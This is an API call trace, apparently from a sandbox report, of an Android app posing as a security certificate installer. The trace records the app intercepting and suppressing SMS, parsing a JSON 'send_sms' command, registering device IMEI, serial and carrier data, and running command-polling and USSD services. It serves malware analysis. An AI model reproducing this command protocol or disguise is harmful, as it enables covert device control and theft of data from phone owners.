Return Valueandroid.os.Bundle
  • toString: Bundle[{pdus=[Ljava.lang.Object;@a0716a28, format=3gpp}]
API: android.telephony.SmsManager->createFromPdu Show source
NameTypeValue
param0java.lang.Object
  • toString: [B@a07169e8
  • $1: 2Tvz
  • $2: 01000A811032547698000005C47ABB9D07
NameTypeValue
Return Valueandroid.telephony.SmsMessage
  • toString: android.telephony.SmsMessage@a06dbf18
API: android.telephony.SmsManager->getDisplayOriginatingAddress Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 0123456789
API: android.telephony.SmsManager->createFromPdu Show source
NameTypeValue
param0java.lang.Object
  • toString: [B@a07169e8
  • $1: 2Tvz
  • $2: 01000A811032547698000005C47ABB9D07
NameTypeValue
Return Valueandroid.telephony.SmsMessage
  • toString: android.telephony.SmsMessage@a06c4398
API: android.telephony.SmsManager->getMessageBody Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: {"result":"true","command":"send_sms","phone_number":"+41666666","message_text":"Joe Security says hello world!"}
API: android.content.BroadcastReceiver->abortBroadcast Show source
NameTypeValue
Return Valuejava.lang.IllegalStateException
  • toString: java.lang.IllegalStateException: Call while result is not pending
API: org.json.JSONObject.org.json->JSONObject Show source
NameTypeValue
param0java.lang.String
  • toString: {"result":"true","command":"send_sms","phone_number":"+41666666","message_text":"Joe Security says hello world!"}
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {"message_text":"Joe Security says hello world!","command":"send_sms","result":"true","phone_number":"+41666666"}
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.SMS_SENT
API: android.content.Intent->getExtras Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[mParcelledData.dataSize=808]
API: android.content.Intent->getStringExtra Show source
NameTypeValue
param0java.lang.String
  • toString: request
NameTypeValue
Return Valuejava.lang.String
  • toString: {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.SMS_SENT
API: android.content.Intent->getExtras Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[mParcelledData.dataSize=808]
API: android.content.Intent->getStringExtra Show source
NameTypeValue
param0java.lang.String
  • toString: request
NameTypeValue
Return Valuejava.lang.String
  • toString: {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
API: com.security.cert.ui.MainActivity->startService Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckCommandsService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
API: com.security.cert.ui.MainActivity->startService Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckQueueService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
API: android.content.Context->getString Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2130968593
NameTypeValue
Return Valuejava.lang.String
  • toString: Certificate installed successfully!Your device is protected now.Certificate PIN Code: 0518
API: android.content.Intent->putExtra Show source
NameTypeValue
param0java.lang.String
  • toString: message
param1java.lang.String
  • toString: Certificate installed successfully!Your device is protected now.Certificate PIN Code: 0518
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { flg=0x30000000 cmp=com.security.cert/.ui.MessageDialogActivity (has extras) }
API: com.security.cert.ui.MainActivity->startActivity Show source
NameTypeValue
intentandroid.content.Intent
  • toString: Intent { flg=0x30000000 cmp=com.security.cert/.ui.MessageDialogActivity (has extras) }
API: android.app.AlertDialog$Builder-><init> Show source
NameTypeValue
param0com.security.cert.ui.MessageDialogActivity
  • toString: com.security.cert.ui.MessageDialogActivity@a06d0800
NameTypeValue
Return Valueandroid.app.AlertDialog$Builder
  • toString: android.app.AlertDialog$Builder@a0664c60
API: android.content.Intent->getStringExtra Show source
NameTypeValue
param0java.lang.String
  • toString: message
NameTypeValue
Return Valuejava.lang.String
  • toString: Certificate installed successfully!Your device is protected now.Certificate PIN Code: 0518
API: android.app.AlertDialog$Builder->setNegativeButton Show source
NameTypeValue
param0java.lang.Integer
  • toString: 2130968577
param1com.security.cert.ui.b
  • toString: com.security.cert.ui.b@a06a11d8
NameTypeValue
Return Valueandroid.app.AlertDialog$Builder
  • toString: android.app.AlertDialog$Builder@a0664c60
API: android.app.AlertDialog$Builder->show Show source
NameTypeValue
Return Valueandroid.app.AlertDialog
  • toString: android.app.AlertDialog@a06c4a60
API: android.os.Binder->onTransact Show source
API: android.os.Parcel->writeString Show source
API: android.os.Parcel->enforceInterface Show source
API: android.os.Parcel->readString Show source
API: com.a.a.a.b->a Show source
API: android.os.Parcel->writeNoException Show source
API: android.os.Parcel->enforceInterface Show source
API: com.a.a.a.b->a Show source
API: android.os.Parcel->writeNoException Show source
API: android.os.Parcel->writeInt Show source
API: android.text.TextUtils->writeToParcel Show source
API: android.os.Parcel->writeInt Show source
API: android.os.Parcel->enforceInterface Show source
API: android.os.Parcel->readInt Show source
API: android.os.Parcelable$Creator->createFromParcel Show source
API: com.a.a.a.b->a Show source
API: android.os.Parcel->writeNoException Show source
API: android.os.Parcel->writeInt Show source
API: android.text.TextUtils->writeToParcel Show source
API: android.os.Parcel->writeInt Show source
API: android.os.Parcel->enforceInterface Show source
API: com.a.a.a.b->b Show source
API: android.os.Parcel->writeNoException Show source
API: android.os.Binder-><init> Show source
API: com.a.a.a.b->attachInterface Show source
API: android.os.IBinder->queryLocalInterface Show source
API: android.os.Parcel->obtain Show source
API: android.os.Parcel->obtain Show source
API: android.os.Parcel->writeInterfaceToken Show source
API: android.os.IBinder->transact Show source
API: android.os.Parcel->readException Show source
API: android.os.Parcel->readInt Show source
API: android.os.Parcelable$Creator->createFromParcel Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->recycle Show source
API: java.lang.Object-><init> Show source
API: android.os.Parcel->obtain Show source
API: android.os.Parcel->obtain Show source
API: android.os.Parcel->writeInterfaceToken Show source
API: android.os.Parcel->writeString Show source
API: android.os.IBinder->transact Show source
API: android.os.Parcel->readException Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->obtain Show source
API: android.os.Parcel->obtain Show source
API: android.os.Parcel->writeInterfaceToken Show source
API: android.os.Parcel->writeInt Show source
API: android.text.TextUtils->writeToParcel Show source
API: android.os.IBinder->transact Show source
API: android.os.Parcel->readException Show source
API: android.os.Parcel->readInt Show source
API: android.os.Parcelable$Creator->createFromParcel Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->writeInt Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->obtain Show source
API: android.os.Parcel->obtain Show source
API: android.os.Parcel->writeInterfaceToken Show source
API: android.os.IBinder->transact Show source
API: android.os.Parcel->readException Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->recycle Show source
API: android.os.Parcel->recycle Show source
API: org.apache.http.client.methods.HttpEntityEnclosingRequestBase->setEntity Show source
API: java.lang.Object-><init> Show source
API: org.apache.http.params.BasicHttpParams-><init> Show source
API: org.apache.http.conn.params.ConnManagerParams->setTimeout Show source
API: org.apache.http.conn.params.ConnPerRouteBean-><init> Show source
API: org.apache.http.conn.params.ConnManagerParams->setMaxConnectionsPerRoute Show source
API: org.apache.http.conn.params.ConnManagerParams->setMaxTotalConnections Show source
API: org.apache.http.params.HttpConnectionParams->setSoTimeout Show source
API: org.apache.http.params.HttpConnectionParams->setConnectionTimeout Show source
API: org.apache.http.params.HttpConnectionParams->setTcpNoDelay Show source
API: org.apache.http.params.HttpConnectionParams->setSocketBufferSize Show source
API: org.apache.http.params.HttpProtocolParams->setVersion Show source
API: java.lang.String->format Show source
API: org.apache.http.params.HttpProtocolParams->setUserAgent Show source
API: org.apache.http.conn.scheme.SchemeRegistry-><init> Show source
API: org.apache.http.conn.scheme.PlainSocketFactory->getSocketFactory Show source
API: org.apache.http.conn.scheme.Scheme-><init> Show source
API: org.apache.http.conn.scheme.SchemeRegistry->register Show source
API: org.apache.http.conn.ssl.SSLSocketFactory->getSocketFactory Show source
API: org.apache.http.conn.scheme.Scheme-><init> Show source
API: org.apache.http.conn.scheme.SchemeRegistry->register Show source
API: org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager-><init> Show source
API: org.apache.http.protocol.BasicHttpContext-><init> Show source
API: org.apache.http.protocol.SyncBasicHttpContext-><init> Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> Show source
API: org.apache.http.impl.client.DefaultHttpClient->addRequestInterceptor Show source
API: org.apache.http.impl.client.DefaultHttpClient->addResponseInterceptor Show source
API: org.apache.http.impl.client.DefaultHttpClient->setHttpRequestRetryHandler Show source
API: java.util.concurrent.Executors->newCachedThreadPool Show source
API: java.util.WeakHashMap-><init> Show source
API: java.util.HashMap-><init> Show source
API: org.apache.http.client.methods.HttpPost-><init> Show source
API: org.apache.http.client.methods.HttpUriRequest->addHeader Show source
API: java.util.concurrent.ThreadPoolExecutor->submit Show source
API: java.util.Map->get Show source
API: java.util.LinkedList-><init> Show source
API: java.util.Map->put Show source
API: java.lang.ref.WeakReference-><init> Show source
API: java.util.List->add Show source
API: java.lang.Object-><init> Show source
API: org.apache.http.HttpRequest->containsHeader Show source
API: org.apache.http.HttpRequest->addHeader Show source
API: java.util.Map->keySet Show source
API: java.util.Set->iterator Show source
API: java.util.Iterator->hasNext Show source
API: java.util.Iterator->next Show source
API: java.util.Map->get Show source
API: org.apache.http.HttpRequest->addHeader Show source
API: java.lang.Object-><init> Show source
API: org.apache.http.HttpResponse->getEntity Show source
API: org.apache.http.HttpEntity->getContentEncoding Show source
API: org.apache.http.Header->getElements Show source
API: org.apache.http.HeaderElement->getName Show source
API: java.lang.String->equalsIgnoreCase Show source
API: org.apache.http.HttpResponse->getEntity Show source
API: com.b.a.a.d-><init> Show source
API: org.apache.http.HttpResponse->setEntity Show source
API: org.apache.http.entity.HttpEntityWrapper-><init> Show source
API: org.apache.http.HttpEntity->getContent Show source
API: java.util.zip.GZIPInputStream-><init> Show source
API: org.apache.http.impl.client.AbstractHttpClient->getHttpRequestRetryHandler Show source
API: org.apache.http.client.HttpRequestRetryHandler->retryRequest Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.NullPointerException->getMessage Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.io.IOException-><init> Show source
API: org.apache.http.client.HttpRequestRetryHandler->retryRequest Show source
API: java.net.ConnectException-><init> Show source
API: java.net.ConnectException->initCause Show source
API: java.lang.Object-><init> Show source
API: java.lang.Thread->currentThread Show source
API: java.lang.Thread->isInterrupted Show source
API: org.apache.http.impl.client.AbstractHttpClient->execute Show source
API: java.lang.Thread->currentThread Show source
API: java.lang.Thread->isInterrupted Show source
API: java.lang.Object-><init> Show source
API: android.os.Looper->myLooper Show source
API: com.b.a.a.g-><init> Show source
API: android.os.Handler->sendMessage Show source
API: org.apache.http.HttpResponse->getStatusLine Show source
API: org.apache.http.HttpResponse->getEntity Show source
API: org.apache.http.entity.BufferedHttpEntity-><init> Show source
API: org.apache.http.util.EntityUtils->toString Show source
API: org.apache.http.StatusLine->getStatusCode Show source
API: org.apache.http.StatusLine->getStatusCode Show source
API: org.apache.http.StatusLine->getReasonPhrase Show source
API: org.apache.http.client.HttpResponseException-><init> Show source
API: android.os.Handler->obtainMessage Show source
API: android.os.Message-><init> Show source
API: android.os.Handler-><init> Show source
API: org.apache.http.HttpResponse->getStatusLine Show source
API: org.apache.http.HttpResponse->getHeaders Show source
API: org.apache.http.StatusLine->getStatusCode Show source
API: org.apache.http.client.HttpResponseException-><init> Show source
API: org.apache.http.Header->getValue Show source
API: java.lang.String->equals Show source
API: org.apache.http.StatusLine->getStatusCode Show source
API: org.apache.http.client.HttpResponseException-><init> Show source
API: org.apache.http.HttpResponse->getEntity Show source
API: org.apache.http.entity.BufferedHttpEntity-><init> Show source
API: org.apache.http.util.EntityUtils->toByteArray Show source
API: org.apache.http.StatusLine->getStatusCode Show source
API: org.apache.http.StatusLine->getStatusCode Show source
API: org.apache.http.StatusLine->getReasonPhrase Show source
API: org.apache.http.client.HttpResponseException-><init> Show source
API: java.lang.String->trim Show source
API: java.lang.String->startsWith Show source
API: java.lang.String->startsWith Show source
API: org.json.JSONTokener-><init> Show source
API: org.json.JSONTokener->nextValue Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.Object->getClass Show source
API: java.lang.Class->getName Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: org.json.JSONException-><init> Show source
API: java.lang.Object-><init> Show source
API: java.util.HashSet-><init> Show source
API: java.util.HashSet-><init> Show source
API: java.util.HashSet->add Show source
API: java.util.HashSet->add Show source
API: java.util.HashSet->add Show source
API: java.util.HashSet->add Show source
API: java.util.HashSet->add Show source
API: org.apache.http.protocol.HttpContext->getAttribute Show source
API: java.lang.Boolean->booleanValue Show source
API: org.apache.http.protocol.HttpContext->getAttribute Show source
API: org.apache.http.client.methods.HttpUriRequest->getMethod Show source
API: java.lang.String->equals Show source
API: android.os.SystemClock->sleep Show source
API: java.lang.Object->getClass Show source
API: java.util.HashSet->contains Show source
API: java.lang.Object->getClass Show source
API: java.util.HashSet->contains Show source
API: java.io.IOException->printStackTrace Show source
API: org.json.JSONObject->toString Show source
API: org.apache.http.entity.StringEntity-><init> Show source
API: java.io.UnsupportedEncodingException->toString Show source
API: android.util.Log->e Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: org.json.JSONObject->toString Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.util.Log->d Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.util.Log->e Show source
API: org.json.JSONObject->toString Show source
API: android.util.Log->d Show source
API: org.json.JSONException->printStackTrace Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.util.Log->d Show source
API: android.util.Log->d Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONException->toString Show source
API: android.util.Log->e Show source
API: org.json.JSONObject-><init> Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONException->toString Show source
API: android.util.Log->e Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: java.util.Locale->getDefault Show source
API: java.util.Locale->getLanguage Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: java.lang.String->toLowerCase Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: java.lang.String->toLowerCase Show source
API: java.lang.String->equals Show source
API: java.lang.String->toLowerCase Show source
API: java.lang.String->equals Show source
API: org.json.JSONException->toString Show source
API: android.util.Log->e Show source
API: org.json.JSONObject-><init> Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONException->toString Show source
API: android.util.Log->e Show source
API: org.json.JSONObject-><init> Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONObject->put Show source
API: org.json.JSONException->toString Show source
API: android.util.Log->e Show source
API: android.telephony.SmsManager->getDefault Show source
API: org.json.JSONObject->toString Show source
API: android.telephony.SmsManager->divideMessage Show source
API: java.util.ArrayList->size Show source
API: android.content.Intent-><init> Show source
API: org.json.JSONObject->toString Show source
API: java.io.ByteArrayOutputStream-><init> Show source
API: java.io.ObjectOutputStream-><init> Show source
API: java.io.ObjectOutputStream->writeObject Show source
API: android.app.PendingIntent->getBroadcast Show source
API: java.util.ArrayList->add Show source
API: java.util.ArrayList-><init> Show source
API: java.lang.IllegalArgumentException->toString Show source
API: android.util.Log->e Show source
API: android.content.SharedPreferences$Editor->putInt Show source
API: android.content.SharedPreferences$Editor->commit Show source
API: android.text.TextUtils->split Show source
API: java.util.Arrays->asList Show source
API: java.util.ArrayList-><init> Show source
API: java.util.List->contains Show source
API: java.util.List->add Show source
API: android.text.TextUtils->join Show source
API: android.content.SharedPreferences$Editor->putString Show source
API: android.content.SharedPreferences$Editor->commit Show source
API: android.content.SharedPreferences->getInt Show source
API: android.content.SharedPreferences$Editor->putBoolean Show source
API: android.content.SharedPreferences$Editor->commit Show source
API: android.content.SharedPreferences->getBoolean Show source
API: android.content.SharedPreferences$Editor->remove Show source
API: android.content.SharedPreferences$Editor->commit Show source
API: android.content.SharedPreferences$Editor->putString Show source
API: android.text.TextUtils->split Show source
API: java.util.Arrays->asList Show source
API: java.util.List->size Show source
API: java.util.ArrayList-><init> Show source
API: java.util.List->iterator Show source
API: java.util.Iterator->hasNext Show source
API: java.util.Iterator->next Show source
API: org.json.JSONObject-><init> Show source
API: java.util.List->add Show source
API: org.json.JSONException->printStackTrace Show source
API: android.content.SharedPreferences->edit Show source
API: android.content.Context->getSharedPreferences Show source
API: android.content.SharedPreferences->getString Show source
API: android.text.TextUtils->split Show source
API: java.util.Arrays->asList Show source
API: java.util.ArrayList-><init> Show source
API: java.util.List->iterator Show source
API: java.util.Iterator->hasNext Show source
API: java.util.Iterator->next Show source
API: org.json.JSONObject-><init> Show source
API: java.util.List->remove Show source
API: android.text.TextUtils->join Show source
API: android.content.SharedPreferences$Editor->putString Show source
API: org.json.JSONException->printStackTrace Show source
API: android.content.SharedPreferences$Editor->commit Show source
API: android.content.SharedPreferences$Editor->putString Show source
API: android.content.SharedPreferences$Editor->commit Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: org.json.JSONObject->get Show source
API: java.lang.String->equals Show source
API: org.json.JSONObject->get Show source
API: org.json.JSONException->toString Show source
API: android.util.Log->e Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: org.json.JSONObject->getString Show source
API: java.lang.String->equals Show source
API: org.json.JSONObject->getString Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: org.json.JSONObject->getString Show source
API: java.lang.String->equals Show source
API: org.json.JSONObject->getInt Show source
API: java.lang.String->equals Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent->putExtra Show source
API: android.content.Intent->addFlags Show source
API: android.content.Context->startActivity Show source
API: android.net.Uri->encode Show source
API: java.lang.String->replaceAll Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.net.Uri->parse Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent->addFlags Show source
API: android.content.Context->startActivity Show source
API: android.net.Uri->encode Show source
API: java.lang.String->replaceAll Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent->putExtra Show source
API: android.content.Intent->addFlags Show source
API: android.content.Context->startActivity Show source
API: org.json.JSONArray->length Show source
API: org.json.JSONArray->length Show source
API: org.json.JSONArray->getString Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: android.text.TextUtils->join Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.String->replaceAll Show source
API: java.lang.String->replaceAll Show source
API: android.telephony.SmsManager->getDefault Show source
API: java.lang.Object-><init> Show source
API: java.lang.Class->desiredAssertionStatus Show source
API: java.lang.Object-><init> Show source
API: java.lang.Object->getClass Show source
API: java.lang.Object->getClass Show source
API: java.lang.Object->equals Show source
API: org.json.JSONObject->length Show source
API: org.json.JSONObject->length Show source
API: org.json.JSONObject->keys Show source
API: java.util.Iterator->hasNext Show source
API: java.util.Iterator->next Show source
API: org.json.JSONObject->opt Show source
API: org.json.JSONObject->opt Show source
API: org.json.JSONArray->length Show source
API: org.json.JSONArray->length Show source
API: org.json.JSONArray->length Show source
API: org.json.JSONArray->opt Show source
API: org.json.JSONArray->opt Show source
API: java.lang.Object->equals Show source
API: android.content.Context->getContentResolver Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.Runtime->getRuntime Show source
API: java.lang.Process->getInputStream Show source
API: java.io.InputStreamReader-><init> Show source
API: java.io.BufferedReader-><init> Show source
API: java.io.BufferedReader->readLine Show source
API: java.lang.String->matches Show source
API: java.io.BufferedReader->close Show source
API: java.lang.String->contains Show source
API: java.io.IOException->getMessage Show source
API: android.util.Log->e Show source
API: java.io.IOException->getMessage Show source
API: android.util.Log->e Show source
API: java.io.BufferedReader->close Show source
API: java.io.IOException->getMessage Show source
API: android.util.Log->e Show source
API: java.io.BufferedReader->close Show source
API: java.io.IOException->getMessage Show source
API: android.util.Log->e Show source
API: android.content.ComponentName-><init> Show source
API: android.content.Context->getPackageManager Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting Show source
API: java.lang.String->contains Show source
API: android.app.Service->onCreate Show source
API: android.os.Handler-><init> Show source
API: com.security.cert.services.CheckCommandsService->a Show source
API: com.security.cert.services.CheckCommandsService->b Show source
API: com.security.cert.services.CheckCommandsService->stopSelf Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent->setAction Show source
API: android.app.PendingIntent->getBroadcast Show source
API: java.lang.Runnable->run Show source
API: android.app.Service-><init> Show source
API: com.security.cert.services.CheckCommandsService->b Show source
API: android.app.Service-><init> Show source
API: com.security.cert.services.CheckQueueService->b Show source
API: com.security.cert.services.CheckQueueService->b Show source
API: com.security.cert.services.CheckQueueService->stopSelf Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent->setAction Show source
API: android.app.PendingIntent->getBroadcast Show source
API: java.lang.Runnable->run Show source
API: android.app.Service->onCreate Show source
API: android.os.Handler-><init> Show source
API: com.security.cert.services.CheckQueueService->a Show source
API: java.lang.String->equalsIgnoreCase Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent-><init> Show source
API: android.content.BroadcastReceiver-><init> Show source
API: com.security.cert.services.PhoneCallReceiver->b Show source
API: java.lang.Object->getClass Show source
API: java.lang.Class->getSimpleName Show source
API: java.lang.Exception->toString Show source
API: android.util.Log->e Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent-><init> Show source
API: java.util.regex.Pattern->compile Show source
API: java.util.regex.Pattern->matcher Show source
API: java.util.regex.Matcher->matches Show source
API: com.security.cert.services.PhoneCallReceiver->c Show source
API: java.lang.String->equalsIgnoreCase Show source
API: java.lang.String->equals Show source
API: java.lang.Object->getClass Show source
API: java.lang.Class->getSimpleName Show source
API: android.util.Log->d Show source
API: java.lang.String->equals Show source
API: com.security.cert.services.PhoneCallReceiver->a Show source
API: com.security.cert.services.PhoneCallReceiver->a Show source
API: com.security.cert.services.PhoneCallReceiver->a Show source
API: java.lang.Object->getClass Show source
API: java.lang.Class->getName Show source
API: java.lang.Class->forName Show source
API: java.lang.reflect.Method->setAccessible Show source
API: android.content.BroadcastReceiver-><init> Show source
API: java.lang.String->equalsIgnoreCase Show source
API: android.content.BroadcastReceiver-><init> Show source
API: android.content.BroadcastReceiver-><init> Show source
API: java.lang.String->equalsIgnoreCase Show source
API: java.util.List->iterator Show source
API: java.util.Iterator->hasNext Show source
API: java.util.Iterator->next Show source
API: android.text.TextUtils->isEmpty Show source
API: android.text.TextUtils->isEmpty Show source
API: java.util.regex.Pattern->compile Show source
API: java.util.regex.Pattern->matcher Show source
API: java.util.regex.Matcher->matches Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.content.BroadcastReceiver-><init> Show source
API: com.security.cert.services.SmsReceiver->a Show source
API: java.lang.String->equalsIgnoreCase Show source
API: android.os.Bundle->get Show source
API: com.security.cert.services.SmsReceiver->a Show source
API: com.security.cert.services.SmsReceiver->b Show source
API: com.security.cert.services.SmsReceiver->a Show source
API: org.json.JSONException->printStackTrace Show source
API: com.security.cert.services.SmsReceiver->a Show source
API: com.security.cert.services.SmsReceiver->abortBroadcast Show source
API: com.security.cert.services.SmsReceiver->a Show source
API: java.net.URLEncoder->encode Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent-><init> Show source
API: java.lang.String->contains Show source
API: android.content.BroadcastReceiver-><init> Show source
API: java.lang.String->equalsIgnoreCase Show source
API: com.security.cert.services.SmsSentReceiver->getResultCode Show source
API: android.os.Bundle->containsKey Show source
API: android.content.Intent->getSerializableExtra Show source
API: android.app.Service-><init> Show source
API: com.security.cert.services.c-><init> Show source
API: com.security.cert.services.d-><init> Show source
API: android.util.Log->i Show source
API: android.content.IntentFilter-><init> Show source
API: android.content.IntentFilter->addAction Show source
API: android.content.IntentFilter->addAction Show source
API: android.content.IntentFilter->addDataScheme Show source
API: android.content.IntentFilter->addDataAuthority Show source
API: android.content.IntentFilter->addDataPath Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->registerReceiver Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->unregisterReceiver Show source
API: android.app.Service->onDestroy Show source
API: java.lang.Object-><init> Show source
API: com.security.cert.services.CheckCommandsService->a Show source
API: android.app.PendingIntent->send Show source
API: com.security.cert.services.CheckCommandsService->c Show source
API: com.security.cert.services.CheckCommandsService->b Show source
API: android.os.Handler->postDelayed Show source
API: android.app.PendingIntent$CanceledException->toString Show source
API: android.util.Log->e Show source
API: java.lang.Object-><init> Show source
API: com.security.cert.services.CheckQueueService->a Show source
API: android.app.PendingIntent->send Show source
API: com.security.cert.services.CheckQueueService->c Show source
API: com.security.cert.services.CheckQueueService->b Show source
API: android.os.Handler->postDelayed Show source
API: android.app.PendingIntent$CanceledException->toString Show source
API: android.util.Log->e Show source
API: android.content.Intent->getAction Show source
API: java.lang.String->equals Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: android.content.Context->getString Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: android.util.Log->d Show source
API: android.content.Intent->getAction Show source
API: java.lang.String->equals Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: android.util.Log->d Show source
API: android.content.BroadcastReceiver-><init> Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.util.Log->d Show source
API: java.lang.String->contentEquals Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: android.util.Log->d Show source
API: java.lang.String->contentEquals Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: android.util.Log->d Show source
API: java.lang.String->contentEquals Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: android.util.Log->d Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->b Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.util.Log->d Show source
API: java.lang.CharSequence->toString Show source
API: android.net.Uri$Builder-><init> Show source
API: android.net.Uri$Builder->scheme Show source
API: android.net.Uri$Builder->authority Show source
API: android.net.Uri$Builder->path Show source
API: java.lang.CharSequence->toString Show source
API: android.net.Uri$Builder->appendQueryParameter Show source
API: android.net.Uri$Builder->build Show source
API: android.content.Intent-><init> Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->sendBroadcast Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->a Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.util.Log->d Show source
API: com.a.a.a.b-><init> Show source
API: android.util.Log->d Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->b Show source
